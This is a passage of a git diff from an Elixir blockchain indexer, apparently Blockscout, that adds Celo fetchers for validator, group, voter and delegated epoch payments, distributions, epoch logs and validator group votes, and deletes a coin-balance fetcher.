associated_account_address_hash: validator_address, + type: :delegated_payment + } + end) + + {:ok, rewards} + else + false -> + Logger.info(fn -> + [ + "Do not fetch payment delegations since `getPaymentDelegation` ", + "method is not available on block #{block_number}" + ] + end) + + {:ok, []} + + {_, ["(-32000) execution reverted"]} -> + # todo: we should start fetching payment delegations only after the + # first `PaymentDelegationSet` event is emitted. Unfortunately, relying + # on contract version is not enough since the method could not be + # present. + Logger.info(fn -> + [ + "Could not fetch payment delegations since `getPaymentDelegation` constantly returns error. ", + "Most likely, the method is not available on block #{block_number}. " + ] + end) + + {:ok, []} + + error -> + Logger.error("Could not fetch payment delegations: #{inspect(error)}") + + error + end + end + + defp read_payment_delegations( + validator_addresses, + accounts_contract_address, + block_number, + json_rpc_named_arguments + ) do + validator_addresses + |> Enum.map( + &%{ + contract_address: accounts_contract_address, + method_id: @get_payment_delegation_method_id, + args: [&1], + block_number: block_number + } + ) + |> read_contracts_with_retries_by_chunks( + @requests_chunk_size, + fn requests -> + read_contracts_with_retries( + requests, + @get_payment_delegation_abi, + json_rpc_named_arguments, + @repeated_request_max_retries + ) + end + ) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/distributions.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/distributions.ex new file mode 100644 index 000000000000..9ce3cc842b67 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/distributions.ex @@ -0,0 +1,118 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.Distributions do + @moduledoc """ + Fetches Reserve bolster, Community, and Carbon offsetting distributions for + the epoch block. + """ + use Utils.RuntimeEnvHelper, + celo_unreleased_treasury_contract_address: [ + :explorer, + [:celo, :celo_unreleased_treasury_contract_address] + ] + + import Ecto.Query, only: [from: 2, subquery: 1] + import Explorer.Chain.Celo.Helper, only: [pre_migration_block_number?: 1] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias Explorer.Chain.{ + Block, + Cache.CeloCoreContracts, + Hash, + TokenTransfer + } + + alias Explorer.Chain.Celo.Epoch + alias Explorer.Repo + + @spec fetch(Epoch.t()) :: + {:ok, map()} + | {:error, :multiple_transfers_to_same_address} + def fetch(%{end_processing_block: %Block{number: block_number, hash: block_hash}} = epoch) do + {:ok, reserve_contract_address_hash} = CeloCoreContracts.get_address(:reserve, block_number) + {:ok, community_contract_address_hash} = CeloCoreContracts.get_address(:governance, block_number) + + {:ok, %{"address" => carbon_offsetting_contract_address_hash}} = + CeloCoreContracts.get_event(:epoch_rewards, :carbon_offsetting_fund_set, block_number) + + celo_distributions_query = celo_distributions_query(block_hash, block_number) + + # Every epoch has at least one CELO transfer from the zero address to the + # reserve. This is how cUSD is minted before it is distributed to + # validators. If there is only one CELO transfer, then there was no + # Reserve bolster distribution for that epoch. If there are multiple CELO + # transfers, then the last one is the Reserve bolster distribution. + reserve_bolster_transfer_log_index_query = + from( + tt in subquery( + from( + tt in subquery(celo_distributions_query), + where: tt.to_address_hash == ^reserve_contract_address_hash, + order_by: tt.log_index, + offset: 1 + ) + ), + select: max(tt.log_index) + ) + + query = + from( + tt in subquery(celo_distributions_query), + where: + tt.to_address_hash in ^[ + community_contract_address_hash, + carbon_offsetting_contract_address_hash + ] or + tt.log_index == subquery(reserve_bolster_transfer_log_index_query), + select: {tt.to_address_hash, tt.log_index} + ) + + transfers_with_log_index = query |> Repo.all() + + unique_addresses_count = + transfers_with_log_index + |> Enum.map(&elem(&1, 0)) + |> Enum.uniq() + |> Enum.count() + + address_to_key = %{ + reserve_contract_address_hash => :reserve_bolster_transfer_log_index, + community_contract_address_hash => :community_transfer_log_index, + carbon_offsetting_contract_address_hash => :carbon_offsetting_transfer_log_index + } + + if unique_addresses_count == Enum.count(transfers_with_log_index) do + distributions = + transfers_with_log_index + |> Enum.reduce(%{}, fn {address, log_index}, acc -> + key = Map.get(address_to_key, address |> Hash.to_string()) + Map.put(acc, key, log_index) + end) + |> Map.put(:epoch_number, epoch.number) + + {:ok, distributions} + else + {:error, :multiple_transfers_to_same_address} + end + end + + defp celo_distributions_query(block_hash, block_number) do + {:ok, celo_token_contract_address_hash} = CeloCoreContracts.get_address(:celo_token, block_number) + + query = + from( + tt in TokenTransfer.only_consensus_transfers_query(), + where: + tt.block_hash == ^block_hash and + tt.token_contract_address_hash == ^celo_token_contract_address_hash + ) + + if pre_migration_block_number?(block_number) do + celo_sender_address_hash = burn_address_hash_string() + + from(tt in query, where: tt.from_address_hash == ^celo_sender_address_hash and is_nil(tt.transaction_hash)) + else + celo_sender_address_hash = celo_unreleased_treasury_contract_address() + + from(tt in query, where: tt.from_address_hash == ^celo_sender_address_hash) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_post_l2_migration.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_post_l2_migration.ex new file mode 100644 index 000000000000..3feb70abace2 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_post_l2_migration.ex @@ -0,0 +1,327 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.ValidatorAndGroupPaymentsPostL2Migration do + @moduledoc """ + Fetches validator and group payments for the epoch post L2 migration. + """ + require Logger + + use Utils.RuntimeEnvHelper, + epoch_manager_contract_address_hash: [ + :explorer, + [:celo, :epoch_manager_contract_address] + ], + validators_contract_address_hash: [ + :explorer, + [:celo, :validators_contract_address] + ], + json_rpc_named_arguments: [:indexer, :json_rpc_named_arguments] + + import Indexer.Helper, + only: [ + read_contracts_with_retries_by_chunks: 3, + read_contracts_with_retries: 4 + ] + + import Ecto.Query, only: [from: 2] + import Explorer.Helper, only: [abi_to_method_id: 1] + + alias Explorer.Chain.{Block, Log} + alias Explorer.Chain.Celo.Epoch + alias Explorer.Repo + + @repeated_request_max_retries 3 + @requests_chunk_size 100 + + @number_of_elected_in_current_set_abi [ + %{ + "name" => "numberOfElectedInCurrentSet", + "type" => "function", + "stateMutability" => "view", + "inputs" => [], + "outputs" => [%{"type" => "uint256"}] + } + ] + + @get_elected_account_by_index_abi [ + %{ + "name" => "getElectedAccountByIndex", + "type" => "function", + "stateMutability" => "view", + "inputs" => [%{"type" => "uint256"}], + "outputs" => [%{"type" => "address"}] + } + ] + + @validator_pending_payments_abi [ + %{ + "name" => "validatorPendingPayments", + "type" => "function", + "stateMutability" => "view", + "inputs" => [%{"type" => "address"}], + "outputs" => [%{"type" => "uint256"}] + } + ] + + @get_validators_group_abi [ + %{ + "name" => "getValidatorsGroup", + "type" => "function", + "stateMutability" => "view", + "inputs" => [%{"type" => "address"}], + "outputs" => [%{"type" => "address"}] + } + ] + + @get_validator_group_abi [ + %{ + "name" => "getValidatorGroup", + "type" => "function", + "stateMutability" => "view", + "inputs" => [%{"type" => "address"}], + "outputs" => [ + %{"type" => "address[]"}, + %{"type" => "uint256"}, + %{"type" => "uint256"}, + %{"type" => "uint256"}, + %{"type" => "uint256[]"}, + %{"type" => "uint256"}, + %{"type" => "uint256"} + ] + } + ] + + @validator_epoch_payment_distributed_event_topic "0xee2788e7abedfc61d9608e143b172de1a608a4298b06ed8c84838aa0ad6bd136" + + def fetch(%Epoch{number: epoch_number, start_processing_block: %Block{number: block_number, hash: block_hash}}) do + with false <- + check_if_validator_payment_distributed_events_exist(block_hash), + {:ok, length} <- number_of_elected_in_current_set(block_number), + {:ok, account_address_hashes} <- get_elected_accounts(block_number, length), + {:ok, payments_before} <- get_allocated_payments(account_address_hashes, block_number - 1), + {:ok, payments_after} <- get_allocated_payments(account_address_hashes, block_number), + {:ok, group_address_hashes} <- get_validator_groups(account_address_hashes, block_number), + unique_group_address_hashes = Enum.uniq(group_address_hashes), + {:ok, group_commissions} <- get_validator_group_commissions(unique_group_address_hashes, block_number) do + account_address_hash_to_group_address_hash = + account_address_hashes + |> Enum.zip(group_address_hashes) + |> Map.new() + + group_address_hash_to_commission = + unique_group_address_hashes + |> Enum.zip(group_commissions) + |> Map.new() + + payments = Enum.zip_with(payments_after, payments_before, &(&1 - &2)) + + params = + account_address_hashes + |> Enum.zip(payments) + |> Enum.flat_map(fn {account_address_hash, payment} -> + group_address_hash = Map.get(account_address_hash_to_group_address_hash, account_address_hash) + + base = Decimal.new(1, 1, 24) + + commission = + group_address_hash_to_commission + |> Map.get(group_address_hash) + |> Decimal.new() + |> Decimal.div(base) + + payment = payment |> Decimal.new() + group_payment = payment |> Decimal.mult(commission) + validator_payment = payment |> Decimal.sub(group_payment) + + [ + %{ + epoch_number: epoch_number, + account_address_hash: account_address_hash, + amount: validator_payment, + associated_account_address_hash: group_address_hash, + type: :validator + }, + %{ + epoch_number: epoch_number, + account_address_hash: group_address_hash, + amount: group_payment, + associated_account_address_hash: account_address_hash, + type: :group + } + ] + end) + + {:ok, params} + else + true -> + # TODO: As invariant, we assume that the validator payment distributed + # event is not present in the block. If it is present, this is a corner + # case that should be addressed in the future. + Logger.error("Validator payment distributed event exists for block hash: #{block_hash}. Aborting.") + {:error, "Validator payment distributed event exists"} + + {:error, reason} -> + Logger.error("Failed to fetch validator and group payments: #{inspect(reason)}") + {:error, reason} + end + end + + @spec number_of_elected_in_current_set(EthereumJSONRPC.block_number()) :: + {:ok, integer()} | {:error, any()} + defp number_of_elected_in_current_set(block_number) do + method_id = @number_of_elected_in_current_set_abi |> abi_to_method_id() + + [ + %{ + contract_address: epoch_manager_contract_address_hash(), + method_id: method_id, + args: [], + block_number: block_number + } + ] + |> read_contracts_with_retries( + @number_of_elected_in_current_set_abi, + json_rpc_named_arguments(), + @repeated_request_max_retries + ) + |> case do + {[ok: [value]], []} -> + {:ok, value} + + {_, errors} -> + {:error, errors} + end + end + + defp get_elected_accounts(block_number, length) when length > 0 do + method_id = @get_elected_account_by_index_abi |> abi_to_method_id() + + 0..(length - 1) + |> Enum.map(fn index -> + %{ + contract_address: epoch_manager_contract_address_hash(), + method_id: method_id, + args: [index], + block_number: block_number + } + end) + |> read_contract(@get_elected_account_by_index_abi) + |> case do + {responses, []} -> + address_hashes = + responses + |> Enum.map(fn {:ok, [address_hash]} -> address_hash end) + + {:ok, address_hashes} + + {_, errors} -> + {:error, errors} + end + end + + defp get_allocated_payments(account_address_hashes, block_number) do + method_id = @validator_pending_payments_abi |> abi_to_method_id() + + account_address_hashes + |> Enum.map(fn address_hash -> + %{ + contract_address: epoch_manager_contract_address_hash(), + method_id: method_id, + args: [address_hash], + block_number: block_number + } + end) + |> read_contract(@validator_pending_payments_abi) + |> case do + {responses, []} -> + values = + responses + |> Enum.map(fn {:ok, [value]} -> value end) + + {:ok, values} + + {_, errors} -> + {:error, errors} + end + end + + defp get_validator_groups(account_address_hashes, block_number) do + method_id = @get_validators_group_abi |> abi_to_method_id() + + account_address_hashes + |> Enum.map(fn address_hash -> + %{ + contract_address: validators_contract_address_hash(), + method_id: method_id, + args: [address_hash], + block_number: block_number + } + end) + |> read_contract(@get_validators_group_abi) + |> case do + {responses, []} -> + values = + responses + |> Enum.map(fn {:ok, [value]} -> value end) + + {:ok, values} + + {_, errors} -> + {:error, errors} + end + end + + defp get_validator_group_commissions(unique_group_address_hashes, block_number) do + method_id = @get_validator_group_abi |> abi_to_method_id() + + unique_group_address_hashes + |> Enum.map(fn address_hash -> + %{ + contract_address: validators_contract_address_hash(), + method_id: method_id, + args: [address_hash], + block_number: block_number + } + end) + |> read_contract(@get_validator_group_abi) + |> case do + {responses, []} -> + values = + responses + |> Enum.map(fn {:ok, [_, value | _]} -> value end) + + {:ok, values} + + {_, errors} -> + {:error, errors} + end + end + + defp read_contract(requests, abi) do + read_contracts_with_retries_by_chunks( + requests, + @requests_chunk_size, + fn chunk -> + read_contracts_with_retries( + chunk, + abi, + json_rpc_named_arguments(), + @repeated_request_max_retries + ) + end + ) + end + + defp check_if_validator_payment_distributed_events_exist(block_hash) do + query = + from( + log in Log, + where: [ + block_hash: ^block_hash, + address_hash: ^epoch_manager_contract_address_hash(), + first_topic: ^@validator_epoch_payment_distributed_event_topic + ] + ) + + query + |> Repo.exists?() + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_prior_l2_migration.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_prior_l2_migration.ex new file mode 100644 index 000000000000..91d3ab9289b3 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/validator_and_group_payments_prior_l2_migration.ex @@ -0,0 +1,58 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.ValidatorAndGroupPaymentsPriorL2Migration do + @moduledoc """ + Fetches validator and group payments for the epoch block. + """ + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.Cache.CeloCoreContracts + alias Explorer.Chain.{Block, Celo.Epoch, Log} + alias Explorer.Repo + alias Indexer.Transform.Celo.ValidatorEpochPaymentDistributions + + @spec fetch(Epoch.t()) :: {:ok, list()} + def fetch(%Epoch{start_processing_block: %Block{number: block_number, hash: block_hash}} = epoch) do + epoch_payment_distributions_signature = ValidatorEpochPaymentDistributions.signature() + {:ok, validators_contract_address} = CeloCoreContracts.get_address(:validators, block_number) + + query = + from( + log in Log, + where: + log.block_hash == ^block_hash and + log.address_hash == ^validators_contract_address and + log.first_topic == ^epoch_payment_distributions_signature and + is_nil(log.transaction_hash), + select: log + ) + + payments = + query + |> Repo.all() + |> ValidatorEpochPaymentDistributions.parse() + |> Enum.flat_map(fn %{ + validator_address: validator_address, + validator_payment: validator_payment, + group_address: group_address, + group_payment: group_payment + } -> + [ + %{ + epoch_number: epoch.number, + account_address_hash: validator_address, + amount: validator_payment, + associated_account_address_hash: group_address, + type: :validator + }, + %{ + epoch_number: epoch.number, + account_address_hash: group_address, + amount: group_payment, + associated_account_address_hash: validator_address, + type: :group + } + ] + end) + + {:ok, payments} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/voter_payments.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/voter_payments.ex new file mode 100644 index 000000000000..684840bb596c --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_block_operations/voter_payments.ex @@ -0,0 +1,215 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.VoterPayments do + @moduledoc """ + Fetches voter payments for the epoch block. + """ + import Ecto.Query, only: [from: 2, select: 3] + + import Explorer.Helper, + only: [ + decode_data: 2, + abi_to_method_id: 1 + ] + + import Indexer.Helper, + only: [ + read_contracts_with_retries_by_chunks: 3, + read_contracts_with_retries: 4 + ] + + alias Explorer.Repo + alias Indexer.Fetcher.Celo.ValidatorGroupVotes + + alias Explorer.Chain.{ + Cache.CeloCoreContracts, + Celo.Epoch, + Celo.ValidatorGroupVote, + Hash, + Log + } + + require Logger + + @repeated_request_max_retries 3 + + @requests_chunk_size 100 + + @epoch_rewards_distributed_to_voters_topic "0x91ba34d62474c14d6c623cd322f4256666c7a45b7fdaa3378e009d39dfcec2a7" + + @get_active_votes_for_group_by_account_abi [ + %{ + "name" => "getActiveVotesForGroupByAccount", + "type" => "function", + "payable" => false, + "constant" => true, + "stateMutability" => "view", + "inputs" => [ + %{"name" => "group", "type" => "address"}, + %{"name" => "account", "type" => "address"} + ], + "outputs" => [ + %{"type" => "uint256"} + ] + } + ] + + @get_active_votes_for_group_by_account_method_id @get_active_votes_for_group_by_account_abi + |> abi_to_method_id() + + @spec fetch(Epoch.t(), EthereumJSONRPC.json_rpc_named_arguments()) :: + {:error, list()} | {:ok, list()} + def fetch( + %Epoch{start_processing_block: start_block, end_processing_block: end_block} = epoch, + json_rpc_named_arguments + ) do + :ok = ValidatorGroupVotes.fetch(end_block.number) + + {:ok, election_contract_address} = CeloCoreContracts.get_address(:election, start_block.number) + + elected_groups_query = + start_block.number + |> epoch_rewards_distributed_to_voters_query(end_block.number) + |> select([l], fragment("SUBSTRING(? from 13)", l.second_topic)) + + end_block_number = end_block.number + + query = + from( + v in ValidatorGroupVote, + where: + v.group_address_hash in subquery(elected_groups_query) and + v.block_number <= ^end_block_number, + distinct: true, + select: {v.account_address_hash, v.group_address_hash} + ) + + accounts_with_activated_votes = + query + |> Repo.all() + |> Enum.map(fn + {account_address_hash, group_address_hash} -> + { + Hash.to_string(account_address_hash), + Hash.to_string(group_address_hash) + } + end) + + requests = + accounts_with_activated_votes + |> Enum.map(fn {account_address_hash, group_address_hash} -> + (end_block_number - 1)..end_block_number + |> Enum.map(fn block_number -> + %{ + contract_address: election_contract_address, + method_id: @get_active_votes_for_group_by_account_method_id, + args: [ + group_address_hash, + account_address_hash + ], + block_number: block_number + } + end) + end) + |> Enum.concat() + + {responses, []} = + read_contracts_with_retries_by_chunks( + requests, + @requests_chunk_size, + fn requests -> + read_contracts_with_retries( + requests, + @get_active_votes_for_group_by_account_abi, + json_rpc_named_arguments, + @repeated_request_max_retries + ) + end + ) + + diffs = + responses + |> Enum.chunk_every(2) + |> Enum.map(fn + [ok: [votes_before], ok: [votes_after]] + when is_integer(votes_before) and + is_integer(votes_after) -> + votes_after - votes_before + end) + + # WARN: we do not count Revoked/Activated votes for the last epoch, but + # should we? + # + # See https://github.com/fedor-ivn/celo-blockscout/tree/master/apps/indexer/lib/indexer/fetcher/celo_epoch_data.ex#L179-L187 + # There is no case when those events occur in the epoch block. + rewards = + accounts_with_activated_votes + |> Enum.zip_with( + diffs, + fn {account_address_hash, group_address_hash}, diff -> + %{ + epoch_number: epoch.number, + account_address_hash: account_address_hash, + amount: diff, + associated_account_address_hash: group_address_hash, + type: :voter + } + end + ) + + ok_or_error = validate_voter_rewards(start_block.number, end_block.number, rewards) + + {ok_or_error, rewards} + end + + defp epoch_rewards_distributed_to_voters_query(start_block_number, end_block_number) do + {:ok, election_contract_address} = CeloCoreContracts.get_address(:election, start_block_number) + + from( + l in Log, + where: + l.block_number >= ^start_block_number and + l.block_number <= ^end_block_number and + l.address_hash == ^election_contract_address and + l.first_topic == ^@epoch_rewards_distributed_to_voters_topic + ) + end + + # Validates voter rewards by comparing the sum of what we got from the + # `EpochRewardsDistributedToVoters` event and the sum of what we calculated + # manually by fetching the votes for each account that has or had an activated + # vote. + defp validate_voter_rewards(start_block_number, end_block_number, voter_rewards) do + manual_voters_total = voter_rewards |> Enum.map(& &1.amount) |> Enum.sum() + + query = + start_block_number + |> epoch_rewards_distributed_to_voters_query(end_block_number) + |> select([l], l.data) + + voter_rewards_from_event_total = + query + |> Repo.all() + |> Enum.map(fn data -> + [amount] = decode_data(data, [{:uint, 256}]) + amount + end) + |> Enum.sum() + + voter_rewards_count = Enum.count(voter_rewards) + voter_rewards_diff = voter_rewards_from_event_total - manual_voters_total + + if voter_rewards_diff < voter_rewards_count or voter_rewards_count == 0 do + :ok + else + Logger.warning(fn -> + [ + "Total voter rewards do not match. ", + "Amount calculated manually: #{manual_voters_total}. ", + "Amount got from `EpochRewardsDistributedToVoters` events: #{voter_rewards_from_event_total}. ", + "Voter rewards count: #{voter_rewards_count}." + ] + end) + + :error + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/epoch_logs.ex b/apps/indexer/lib/indexer/fetcher/celo/epoch_logs.ex new file mode 100644 index 000000000000..f34f6c614f62 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/epoch_logs.ex @@ -0,0 +1,137 @@ +defmodule Indexer.Fetcher.Celo.EpochLogs do + @moduledoc """ + Fetches logs that are not linked to transaction, but to the block. + """ + + import Explorer.Chain.Celo.Helper, + only: [ + epoch_block_number?: 1, + pre_migration_block_number?: 1 + ] + + alias EthereumJSONRPC.{Logs, Transport} + alias Explorer.Chain.Cache.CeloCoreContracts + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Chain.TokenTransfer + alias Indexer.Transform.Celo.ValidatorEpochPaymentDistributions + + require Logger + + @max_request_retries 3 + + @epoch_block_targets [ + # TargetVotingYieldUpdated + epoch_rewards: "0x49d8cdfe05bae61517c234f65f4088454013bafe561115126a8fe0074dc7700e", + celo_token: TokenTransfer.constant(), + usd_token: TokenTransfer.constant(), + validators: ValidatorEpochPaymentDistributions.signature(), + # ValidatorScoreUpdated + validators: "0xedf9f87e50e10c533bf3ae7f5a7894ae66c23e6cbbe8773d7765d20ad6f995e9", + # EpochRewardsDistributedToVoters + election: "0x91ba34d62474c14d6c623cd322f4256666c7a45b7fdaa3378e009d39dfcec2a7" + ] + + @default_block_targets [ + # GasPriceMinimumUpdated + gas_price_minimum: "0x6e53b2f8b69496c2a175588ad1326dbabe2f66df4d82f817aeca52e3474807fb" + ] + + @spec fetch( + [Indexer.Transform.Blocks.block()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: Logs.t() + def fetch(blocks, json_rpc_named_arguments) + + def fetch(blocks, json_rpc_named_arguments) do + if Application.get_env(:explorer, :chain_type) == :celo do + do_fetch(blocks, json_rpc_named_arguments) + else + [] + end + end + + @spec do_fetch( + [Indexer.Transform.Blocks.block()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: Logs.t() + defp do_fetch(blocks, json_rpc_named_arguments) do + requests = + blocks + |> Enum.filter(&pre_migration_block_number?(&1.number)) + |> Enum.reduce({[], 0}, &blocks_reducer/2) + |> elem(0) + |> Enum.reverse() + |> Enum.concat() + + with {:ok, responses} <- do_requests(requests, json_rpc_named_arguments), + {:ok, logs} <- Logs.from_responses(responses) do + logs + |> Enum.filter(&(&1.transaction_hash == &1.block_hash)) + |> Enum.map(&Map.put(&1, :transaction_hash, nil)) + end + end + + # Workaround in order to fix block fetcher tests. + # + # If the requests is empty, we still send the requests to the JSON RPC + @spec do_requests( + [Transport.request()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:ok, [map()]} + defp do_requests(requests, json_rpc_named_arguments) do + if Enum.empty?(requests) do + {:ok, []} + else + IndexerHelper.repeated_batch_rpc_call( + requests, + json_rpc_named_arguments, + fn message -> "Could not fetch epoch logs: #{message}" end, + @max_request_retries + ) + end + end + + @spec blocks_reducer( + Indexer.Transform.Blocks.block(), + {[Transport.request()], integer()} + ) :: {[Transport.request()], integer()} + defp blocks_reducer(%{number: number}, {acc, start_request_id}) do + targets = + @default_block_targets ++ + if epoch_block_number?(number) do + @epoch_block_targets + else + [] + end + + requests = + targets + |> Enum.map(fn {contract_atom, topic} -> + res = CeloCoreContracts.get_address(contract_atom, number) + {res, topic} + end) + |> Enum.split_with(&match?({{:ok, _address}, _topic}, &1)) + |> tap(fn {_, not_found} -> + if not Enum.empty?(not_found) do + Logger.info("Could not fetch addresses for the following contract atoms: #{inspect(not_found)}") + end + end) + |> elem(0) + |> Enum.with_index(start_request_id) + |> Enum.map(fn {{{:ok, address}, topic}, request_id} -> + Logs.request( + request_id, + %{ + from_block: number, + to_block: number, + address: address, + topics: [topic] + } + ) + end) + + next_start_request_id = start_request_id + length(requests) + {[requests | acc], next_start_request_id} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/celo/validator_group_votes.ex b/apps/indexer/lib/indexer/fetcher/celo/validator_group_votes.ex new file mode 100644 index 000000000000..2c461dc311b6 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/celo/validator_group_votes.ex @@ -0,0 +1,217 @@ +defmodule Indexer.Fetcher.Celo.ValidatorGroupVotes do + @moduledoc """ + Fetches validator group votes from the Celo blockchain. + """ + + use GenServer + use Indexer.Fetcher + + import Explorer.Helper, + only: [ + truncate_address_hash: 1, + safe_parse_non_negative_integer: 1 + ] + + alias EthereumJSONRPC.Logs + alias Explorer.Application.Constants + alias Explorer.Chain + alias Explorer.Chain.Cache.CeloCoreContracts + alias Indexer.Helper, as: IndexerHelper + alias Indexer.Transform.Addresses + + require Logger + + @last_fetched_block_key "celo_validator_group_votes_last_fetched_block_number" + + @max_request_retries 3 + + @validator_group_vote_activated_topic "0x45aac85f38083b18efe2d441a65b9c1ae177c78307cb5a5d4aec8f7dbcaeabfe" + @validator_group_active_vote_revoked_topic "0xae7458f8697a680da6be36406ea0b8f40164915ac9cc40c0dad05a2ff6e8c6a8" + + @spec fetch(block_number :: EthereumJSONRPC.block_number()) :: :ok + def fetch(block_number) do + GenServer.call(__MODULE__, {:fetch, block_number}, 60_000) + end + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :celo_validator_group_votes) + + { + :ok, + %{ + config: %{ + batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size], + json_rpc_named_arguments: args[:json_rpc_named_arguments] + }, + data: %{} + }, + {:continue, :ok} + } + end + + @impl GenServer + def handle_continue( + :ok, + %{ + config: %{ + batch_size: batch_size, + json_rpc_named_arguments: json_rpc_named_arguments + } + } = state + ) do + {:ok, latest_block_number} = + EthereumJSONRPC.fetch_block_number_by_tag( + "latest", + json_rpc_named_arguments + ) + + Logger.info("Fetching votes up to latest block number #{latest_block_number}") + + fetch_up_to_block_number(latest_block_number, batch_size, json_rpc_named_arguments) + + {:noreply, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @impl GenServer + def handle_call( + {:fetch, block_number}, + _from, + %{ + config: %{ + batch_size: batch_size, + json_rpc_named_arguments: json_rpc_named_arguments + } + } = state + ) do + Logger.info("Fetching votes on demand up to block number #{block_number}") + + fetch_up_to_block_number(block_number, batch_size, json_rpc_named_arguments) + + {:reply, :ok, state} + end + + defp fetch_up_to_block_number(block_number, batch_size, json_rpc_named_arguments) do + {:ok, last_fetched_block_number} = + @last_fetched_block_key + |> Constants.get_constant_value() + |> case do + nil -> CeloCoreContracts.get_first_update_block_number(:election) + value -> safe_parse_non_negative_integer(value) + end + + if last_fetched_block_number < block_number do + block_range = last_fetched_block_number..block_number + + block_range + |> IndexerHelper.range_chunk_every(batch_size) + |> Enum.each(&process_chunk(&1, block_range, json_rpc_named_arguments)) + + Logger.info("Fetched validator group votes up to block number #{block_number}") + else + Logger.info("No new validator group votes to fetch") + end + end + + defp process_chunk(_..chunk_to_block//_ = chunk, block_range, json_rpc_named_arguments) do + validator_group_votes = + chunk + |> fetch_logs_chunk(block_range, json_rpc_named_arguments) + |> Enum.map(&log_to_entry/1) + + addresses_params = + Addresses.extract_addresses(%{ + celo_validator_group_votes: validator_group_votes + }) + + {:ok, _imported} = + Chain.import(%{ + addresses: %{params: addresses_params}, + celo_validator_group_votes: %{params: validator_group_votes} + }) + + Constants.set_constant_value(@last_fetched_block_key, to_string(chunk_to_block)) + + :ok + end + + defp fetch_logs_chunk( + chunk_from_block..chunk_to_block//_, + from_block..to_block//_, + json_rpc_named_arguments + ) do + IndexerHelper.log_blocks_chunk_handling(chunk_from_block, chunk_to_block, from_block, to_block, nil, :L1) + + {:ok, election_contract_address} = CeloCoreContracts.get_address(:election, chunk_from_block) + + requests = + [ + @validator_group_active_vote_revoked_topic, + @validator_group_vote_activated_topic + ] + |> Enum.with_index() + |> Enum.map(fn {topic, request_id} -> + Logs.request( + request_id, + %{ + from_block: chunk_from_block, + to_block: chunk_to_block, + address: election_contract_address, + topics: [topic] + } + ) + end) + + {:ok, responses} = + IndexerHelper.repeated_batch_rpc_call( + requests, + json_rpc_named_arguments, + fn message -> Logger.error("Could not fetch logs: #{message}") end, + @max_request_retries + ) + + {:ok, logs} = Logs.from_responses(responses) + + logs + end + + defp log_to_entry(log) do + type = + case log.first_topic do + @validator_group_vote_activated_topic -> :activated + @validator_group_active_vote_revoked_topic -> :revoked + end + + account_address_hash = truncate_address_hash(log.second_topic) + group_address_hash = truncate_address_hash(log.third_topic) + + %{ + account_address_hash: account_address_hash, + group_address_hash: group_address_hash, + type: type, + block_number: log.block_number, + block_hash: log.block_hash, + transaction_hash: log.transaction_hash + } + end +end diff --git a/apps/indexer/lib/indexer/fetcher/coin_balance.ex b/apps/indexer/lib/indexer/fetcher/coin_balance.ex deleted file mode 100644 index 7b175c7915b3..000000000000 --- a/apps/indexer/lib/indexer/fetcher/coin_balance.ex +++ /dev/null @@ -1,267 +0,0 @@ -defmodule Indexer.Fetcher.CoinBalance do - @moduledoc """ - Fetches `t:Explorer.Chain.Address.CoinBalance.t/0` and updates `t:Explorer.Chain.Address.t/0` `fetched_coin_balance` and - `fetched_coin_balance_block_number` to value at max `t:Explorer.Chain.Address.CoinBalance.t/0` `block_number` for the given `t:Explorer.Chain.Address.t/` `hash`. - """ - - use Indexer.Fetcher - use Spandex.Decorators - - require Logger - - import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] - - alias EthereumJSONRPC.{Blocks, FetchedBalances} - alias Explorer.Chain - alias Explorer.Chain.{Block, Hash} - alias Explorer.Chain.Cache.Accounts - alias Indexer.{BufferedTask, Tracer} - alias Indexer.Fetcher.CoinBalance.Supervisor, as: CoinBalanceSupervisor - - @behaviour BufferedTask - - @defaults [ - flush_interval: :timer.seconds(3), - max_batch_size: 500, - max_concurrency: 4, - task_supervisor: Indexer.Fetcher.CoinBalance.TaskSupervisor, - metadata: [fetcher: :coin_balance] - ] - - @doc """ - Asynchronously fetches balances for each address `hash` at the `block_number`. - """ - @spec async_fetch_balances([ - %{required(:address_hash) => Hash.Address.t(), required(:block_number) => Block.block_number()} - ]) :: :ok - def async_fetch_balances(balance_fields) when is_list(balance_fields) do - if CoinBalanceSupervisor.disabled?() do - :ok - else - entries = Enum.map(balance_fields, &entry/1) - - BufferedTask.buffer(__MODULE__, entries) - end - end - - @doc false - 